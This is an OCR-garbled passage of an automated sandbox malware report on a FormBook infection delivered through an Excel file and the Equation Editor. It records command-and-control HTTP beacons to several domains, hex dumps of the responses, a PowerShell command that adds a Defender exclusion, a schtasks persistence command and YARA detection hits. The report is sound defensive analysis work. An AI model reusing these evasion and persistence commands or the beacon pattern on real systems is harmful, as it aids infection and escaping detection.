normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-heig
ht:100%; ">  <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">

<h1 style="margin:0; font-size:150pXx; line-height:150pXx; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size:
30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html|>

Destination IP Destination Port Process

108.167.189.66 80 C:\Windows\explorer.exe

Data
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kBytes
Timestamp transferred

Nov 25, 2021 475
19:27:42.461473942 CET

Nov 25, 2021 476
19:27:42.952476978 CET

Session ID Source IP

4 192.168.2.22
kBytes

Timestamp transferred

Nov 25, 2021 499

19:27:53.284538031 CET

Copyright Joe Security LLC 2021

Direction

ouT

Source Port
49172

Direction
ouT

Data

GET /ht08/?br2=Wj4EIVjQBNu/bqgxJYrWPsWLHRdbpU/VGyAVKo6IxXme9nj69vNHjvuNthgXxUIvimxQ8w==&fD
KD5Z=IbLdXBhXWNSHTR HTTP/1.1

Host: www.franquiciasexclusivas.tienda

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 200 OK

Date: Thu, 25 Nov 2021 18:27:42 GMT

Server: Apache

Upgrade: h2,h2c

Connection: Upgrade, close

Vary: Accept-Encoding

Cache-Control: no-cache, no-store, must-revalidate

Pragma: no-cache

Expires: 0

Transfer-Encoding: chunked

Content-Type: text/html; charset=UTF-8

Data Raw: 33 65 35 36 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f
44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f
68 74 6d 6¢ 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 73 63 72 69
7074207479 7065 3d22 74657874 2f6a 617661 73637269 707422 3e 76 61 72 20 61 62 70 3b 3c 2f 73 63 72
6970 74 3e 3c 7363 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d
22 6874 74 70 3a 2f 2f 66 69 6e 64 71 75 69 63 6b 72 65 73 75 6¢ 74 73 6e 6f 77 2e 63 6f 6d 2f 70 78 2e 6a 73 3f 63 68
3d 3122 3e3c 2f 73637269 70 74 3e 3¢ 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69
7074222073 7263 3d 22 68 74 74 70 3a 2f 2f 66 69 6e 64 71 75 69 63 6b 72 65 73 75 6¢ 74 73 6e 6f 77 2e 63 6f 6d 2f
70 78 2e 6a 73 3f 63 68 3d 32 22 3e 3c 2f 7363 72 69 70 74 3e 3c 7363 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f
6a 6176 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69 6f 6e 20 68 61 6e 64 6¢ 65 41 42 50 44 65 74 65 63 74 28 29 7b
747279 7b 69 66 28 21 61 62 70 29 20 72 65 74 75 72 6e 3b 76 61 72 20 69 6d 67 6¢ 6f 67 20 3d 20 64 6f 63 75 6d 65 6e
74 2e 63 72 65 61 74 65 45 6¢ 65 6d 65 6e 74 28 22 69 6d 67 22 29 3b 69 6d 67 6¢ 6f 67 2e 73 74 79 6¢ 65 2e 68 65 69 6
76874 3d2230 707822 3b 69 6d 67 6¢ 6f 67 2e 73 74 79 6¢ 65 2e 77 69 64 74 68 3d 22 30 70 78 22 3b 69 6d 67 6¢ 6f
67 2e 73 72 63 3d 22 68 74 74 70 3a 2f 2f 66 69 6e 64 71 75 69 63 6b 72 65 73 75 6¢ 74 73 6€ 6f 77 2e 63 6f 6d 2f 73 6b
2d 6¢ 6f 67 61 62 70 73 74 61 74 75 73 2e 70 68 70 3f 61 3d 4f 48 59 77 53 48 42 36 65 6¢ 41 78 61 30 70 5a 52 48 4a 52
62 55 56 61 62 47 52 6b 65 6a 42 75 52 53 74 35 64 6a 68 4f 4f 56 63 31 61 6e 59 76 56 7a 5a 42 5a 54 52 6b 4f 48 64 51
61 33 42 3357 4552 79 62 6d 77 76 59 6¢ 5a 54 4f 44 68 6b 55 56 5a 77 62 6b 31 52 4b 7a 56 31 4e 6d 77 35 64 6b 68
3161557854 6156 4e 32 52 32 35 51 63 6b 49 31 4f 46 4a 53 4d 31 4a 54 54 58 52 4e 65 45 4a 48 56 6b 46 77 54 33
70 31 64 6e 4e 4a 4f 57 39 6¢ 64 6a 4a 72 54 7a 4e 44 51 31 42 68 52 44 56 6a 5a 31 4e 30 54 55 67 3d 26 62 3d 22 2b
61 62 70 3b 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6¢ 64 28 69 6d 67 6¢ 6f 67 29 3b 69 66
287479 70 65 6f 66 20 61 62 70 65 72 75 72 6¢ 20 21 3d 3d 20 22 75 6e 64 65 66 69 6e 65 64 22 20 26 26 20 61 62 70
65 72 75 72 6¢ 21 3d 22 22 29 77 69 6e 64 6f 77 2e 74 6f 70 2e 6¢ 6f 63 61 74 69 6f 6e 3d 61 62 70 65 72 75 72 6¢ 3b 7d
6361 74 63 68 28 65 72 72 29 7b 7d 7d 3c 2f 73 63 72 69 70 74 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 69 64 73 22
20 63 6f 6e 74 65 6e 74 3d 22 61 3d 27 31 33 30 31 37 27 20 62 3d 27 31 35 30 34 35 27 20 63 3d 27 66 72 61 6e 71 75
69 63 69 61 73 65 78 63 6¢ 75 73 69 76 61 73 2e 74 69 65 6e 64 61 27 20 64 3d 27 65 6e 74 69 74 79 5f 6d 61 70 70 65
64 27 22 20 2f 3e 3c 74 69 74 6¢ 65 3e 46 72 61 6e 71 75 69 63 69 61 73 65 78 63 6¢ 75 73 69 76 61 73 2e 74 69 65 6e
64 61 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 6d 65 74 61 20 68 74 74 70 2d

Data Ascii: 3e56<!DOCTYPE htm| PUBLIC "-//W3C//DTD HTML 4.01/EN" "http://www.w3.0rg/TR/html4/strict.dtd"><html>
<head><script type="text/javascript“>var abp;</script><script type="text/javascript" src="http://findquickresultsnow.c
om/px.js?ch=1"></script><script type="text/javascript" src="http://findquickresultsnow.com/px.js?ch=2"></script><script
type="text/javascript">function handleABPDetect(){try{if(!abp) return;var imglog = document.createElement(“img");imglog.
style.height="0px";imglog.style.width="0px";imglog.src="http://findquickresultsnow.com/sk-logabpstatus.php?a=0
HYwSHB6elAxaOpZRHIRbUVabGRkejBuRSt5djhO0OVclanYvVzZBZTRkOHdQa3B3WERybmwvYIZTODhkU
VZwbk1RKzVINmw5dkhlaUxTaVN2R25Qckl10FISM1JTTXRNeEJHVKFwWT3p1dnNJOWSIdjIrTzZNDQ1BhRDVjZ1NOTUg
=&b="+abp;document.body.appendChild(imglog);if(typeof abperurl == "undefined" && abperurl!="")window.top.loca
tion=abperurl;}catch(err){}}</script><meta name="tids" content="a="13017' b="15045" c="franquiciasexclusivas.tienda’ d='
entity_mapped" /><title>Franquiciasexclusivas.tienda</title><meta http-

Destination IP  Destination Port Process
34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /ht08/?br2=NsDQ5dhzDoz6b+QTI369eNhdKzsm5WWXC1glelLkMaMU2QVIAgjladvOXRSqFt55bwDZkw==&fD
KD5Z=IbLdXBhXWNSHTR HTTP/1.1

Host: www. hacticum.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes
Timestamp transferred

Nov 25, 2021 500
19:27:53.403893948 CET

Session ID Source IP

5 192.168.2.22
kBytes

Timestamp transferred

Nov 25, 2021 501

19:27:58.549930096 CET

Nov 25, 2021 502
19:27:58.566992998 CET

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49173

Direction

ouT

Data

HTTP/1.1 403 Forbidden

Server: openresty

Date: Thu, 25 Nov 2021 18:27:53 GMT

Content-Type: text/html

Content-Length: 275

ETag: "6192576d-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2¢ 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e 0a 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP Destination Port Process

151.101.66.159 80 C:\Windows\explorer.exe

Data

GET /ht08/?br2=uW1sPHtBOFcvSjOqiE7uYKYBCRwWI67TpFI9DAp4EO6EMgnVSdl1zAyFQ+ogdnPtirgP8DfTg==&fD
KD5Z=IbLdxBhXWNSHTR HTTP/1.1

Host: www.trashwasher.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 401 Restricted

Server: Varnish

Retry-After: 0

Content-Type: text/html; charset=utf-8

WWW-Authenticate: Basic realm="Please enter your username and password.", charset="UTF-8"

Content-Length: 2162

Accept-Ranges: bytes

Date: Thu, 25 Nov 2021 18:27:58 GMT

Connection: close

X-Served-By: cache-mxp6975-MXP

X-Cache: MISS

X-Cache-Hits: 0

X-Timer: S1637864879.559029,VS0,VE2

X-FW-Serve: TRUE

X-FW-Static: NO

X-FW-Type: FLYWHEEL_BOT

Data Raw: Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48
54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6¢ 34
2f 7374 72 69 63 74 2e 64 74 64 22 3e Oa 3c 68 74 6d 6¢ 3e 0a 09 3¢ 68 65 61 64 3e 0a 09 09 3c 74 69 74 6¢ 65 3e 46 6f
72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e 0a 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22
20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73
63 61 6¢ 65 20 3d 20 31 2e 30 3b 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6¢ 65 3d 31 2e 30 2¢ 20 75 73 65 72 2d 73 63 61
6¢ 61 62 6¢ 65 3d 6e 6f 22 20 2f 3e 0a 09 09 3¢ 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74
2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d
38 22 20 2f 3e 0a 09 09 3c 6¢ 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6¢ 65 61 70 69 73 2e 63 6f
6d 2f 63 73 73 3f 66 61 6d 69 6¢ 79 3d 4c 61 74 6f 3a 34 30 30 2¢ 37 30 30 22 20 72 65 6¢ 3d 22 73 74 79 6¢ 65 73 68 65
65742220 7479 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 3c 73 74 79 6¢ 65 20 74 79 70 65 3d 27 74 65 78
74 2f 63 73 73 27 3e 0a 09 09 09 68 74 6d 6¢ 20 7b 20 2d 6d 6f 7a 2d 6f 73 78 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e
67 322067 72 61 79 73 63 61 6¢ 65 3b 20 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 20 61 6e
74 69 61 6¢ 69 61 73 65 64 3b 20 7d 0a 09 09 09 62 6f 64 79 20 7b 20 6d 61 72 67 69 6e 3a 20 30 3b 20 66 6f 6e 74 2d
66 61 6d 69 6¢ 79 3a 20 22 4c 61 74 6f 22 2¢ 20 48 65 6¢ 76 65 74 69 63 61 2¢ 20 41 72 69 61 6¢ 2¢ 20 73 61 6e 73 2d 73
65 72 69 66 3b 20 6d 69 6e 2d 77 69 64 74 68 3a 20 33 32 30 70 78 3b 20 7d Oa 09 09 09 2e 6¢ 61 79 6f 75 74 20 7b 20 6
469 73 70 6¢ 61 79 3a 20 66 6¢ 65 78 3b 20 77 69 64 74 68 3a 20 31 30 30 25 3b 20 68 65 69 67 68 74 3a 20 31 30 30
76 68 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 34 30 30 70 78 3b 20 7d 0a 09 09 09 2e 6¢ 61 79 6f 75 74 5f 5f 63 6f 6e
74 65 6e 74 20 7b 20 64 69 73 70 6¢ 61 79 3a 20 66 6¢ 65 78 3b 20 66 6¢ 65 78 3a 20 31 32 3b 20 6a 75 73 74 69 66 79
2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 20 61 6¢ 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 20
70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 31 32 2e 35 76 68 3b 20 7d 0a 09 09 09 2e 6b 69 74 63 68 65 6e 73 69
6e 6b 20 7b 20 6d 61 78 2d 77 69 64 74 68 3a 20 38 3530 70 78 3b 20 77 69 64 74 68 3a 20 39 30 25 3b 20 7d 0a 09 09
09 64 69 76 20 7b 20 77 69 64 74 68 3a 20 36 30 30 70

Data Ascii: <IDOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http:/mww.w3.org/TR/html4/strict.dtd"><html><h
ead><title>Forbidden</title><meta name="viewport" content="width=device-width, initial-scale = 1.0; maximum-scale=1.0,
user-scalable=no" /><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><link href="//fonts.googleapis.c
om/css?family=Lato:400,700" rel="stylesheet" type="text/css"><style type="text/css>html { -moz-osx-font-smoothing: gray
scale; -webkit-font-smoothing: antialiased; }body { margin: 0; font-family: "Lato", Helvetica, Arial, sans-serif; min-width:
320px; }.layout { display: flex; width: 100%; height: 100vh; min-height: 400px; }.layout__content { display: flex; flex: 12;
justify-content: center; align-items: center; padding-bottom: 12.5vh; }.kitchensink { max-width: 850px; width: 90%; }div {
width: 600p
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Code Manipulations

Statistics

Behavior

g

System Behavior

Click to jump to process

Analysis Process: EXCEL.EXE PID: 1212 Parent PID: 596

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Written

Registry Activities

Key Created

Key Value Created

19:26:13

25/11/2021

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE
false

"C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE" /automation -Embedding
0x13f800000

28253536 bytes
D53B85E21886D2AF9815C377537BCAC3

true

true

C, C++ or other language

high

Show Windows behavior

Show Windows behavior

Analysis Process: EQNEDT32.EXE PID: 2828 Parent PID: 596

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

19:26:36

25/11/2021

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

true

"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
0x400000

543304 bytes

A87236E214F6D42A65FSDEDAC816AECS

true

true

C, C++ or other language
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Reputation:

File Activities

Registry Activities

Key Created

high

Show Windows behavior

Show Windows behavior

Analysis Process: vhc.exe PID: 2224 Parent PID: 2828

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

File Created

File Deleted

File Written

File Read

19:26:38

25/11/2021
C:\Users\Public\vbc.exe
true
"C:\Users\Public\vbc.exe"
0xbb0000

444416 bytes
6926A53FA91CAB577D52942A39E5FB53
true

true

.Net C# or VB.NET

e Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
00000004.00000002.463350952.000000000223F000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000004.00000002.466306106.0000000003456000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000004.00000002.466306106.0000000003456000.00000004.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000004.00000002.466306106.0000000003456000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
00000004.00000002.463429228.00000000022CD000.00000004.00000001.sdmp, Author:
Joe Security

low

Show Windows behavior

Analysis Process: powershell.exe PID: 2776 Parent PID: 2224

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:
File size:
MDS5 hash:
Copyright Joe Security LLC 2021

19:26:41

25/11/2021
C:\Windows\SysWOWe64\WindowsPowerShell\v1.0\powershell.exe
true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -Exc
lusionPath "C:\Users\user\AppData\Roaming\nLOIOTZpUHFzC.exe

0x21¢80000
452608 bytes
92F44E405DB16AC55D97E3BFE3B132FA
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Has elevated privileges:
Has administrator privileges:

Programmed in:

true
true

.Net C# or VB.NET

Reputation: high
File Activities Show Windows behavior
File Read
Analysis Process: schtasks.exe PID: 2916 Parent PID: 2224

General

Start time: 19:26:41

Start date: 25/11/2021

Path: C:\Windows\SysWOW64\schtasks.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

true

C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nLOIOTZpUHFzC" /XML "C:\U
sers\user\AppData\Local\Temp\tmp5580.tmp

0xc60000

179712 bytes
2003E9B15E1C502B146DAD2E383ACLE3
true

true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
File Read
Analysis Process: vbc.exe PID: 3008 Parent PID: 2224

General

Start time: 19:26:43

Start date: 25/11/2021

Path: C:\Users\Public\vbc.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

true

C:\Users\Public\vbc.exe

0xbb0000

444416 bytes
6926A53FA91CAB577D52942A39E5FB53
true

true

C, C++ or other language
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Yara matches:

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000009.00000002.495167192.00000000000F0000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000009.00000002.495167192.00000000000F0000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000009.00000002.495167192.00000000000F0000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000009.00000000.461391502.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000009.00000000.461391502.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000009.00000000.461391502.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000009.00000000.461058608.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000009.00000000.461058608.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000009.00000000.461058608.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000009.00000002.495256072.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000009.00000002.495256072.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000009.00000002.495256072.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000009.00000002.495227557.0000000000210000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000009.00000002.495227557.0000000000210000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000009.00000002.495227557.0000000000210000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: low
File Activities Show Windows behavior
File Read
Analysis Process: explorer.exe PID: 1764 Parent PID: 3008

General

Start time: 19:26:45

Start date: 25/11/2021

Path: C:\Windows\explorer.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

false
C:\Windows\Explorer.EXE
0xffal0000

3229696 bytes

38AE1B3C38FAEF56FE4907922F0385BA
true
true

C, C++ or other language
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Yara matches:

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000A.00000000.480207379.0000000009780000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000A.00000000.480207379.0000000009780000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
0000000A.00000000.480207379.0000000009780000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000A.00000000.487261064.0000000009780000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000A.00000000.487261064.0000000009780000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
0000000A.00000000.487261064.0000000009780000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: high
File Activities Show Windows behavior
Analysis Process: autofmt.exe PID: 1964 Parent PID: 1764

General

Start time: 19:26:57

Start date: 25/11/2021

Path: C:\Windows\SysWOW64\autofmt.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false
C:\Windows\SysWOW64\autofmt.exe
0xc90000

658944 bytes

A475B7BBOCCCFD848AA26075E81D7888

true
true

C, C++ or other language

Reputation: moderate
Analysis Process: svchost.exe PID: 2608 Parent PID: 1764
General
Start time: 19:26:57
Start date: 25/11/2021
Path: C:\Windows\SysWOW64\svchost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

true
C:\Windows\SysWOW64\svchost.exe
0xa00000

20992 bytes

54A47F6B5SE09A77E61649109C6A08866

true
true

C, C++ or other language
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Yara matches:

Reputation:

File Activities

File Read

Disassembly

Code Analysis

Copyright Joe Security LLC

Copyright Joe Security LLC 2021

high

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000C.00000002.660726182.0000000000080000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000C.00000002.660726182.0000000000080000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
0000000C.00000002.660726182.0000000000080000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000C.00000002.660761773.0000000000170000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000C.00000002.660761773.0000000000170000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
0000000C.00000002.660761773.0000000000170000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000C.00000002.660793447.00000000001D0000.00000004.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000C.00000002.660793447.00000000001D0000.00000004.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
0000000C.00000002.660793447.00000000001D0000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Show Windows behavior

Joe Sandbox Cloud Basic 34.0.0 Boulder Opal
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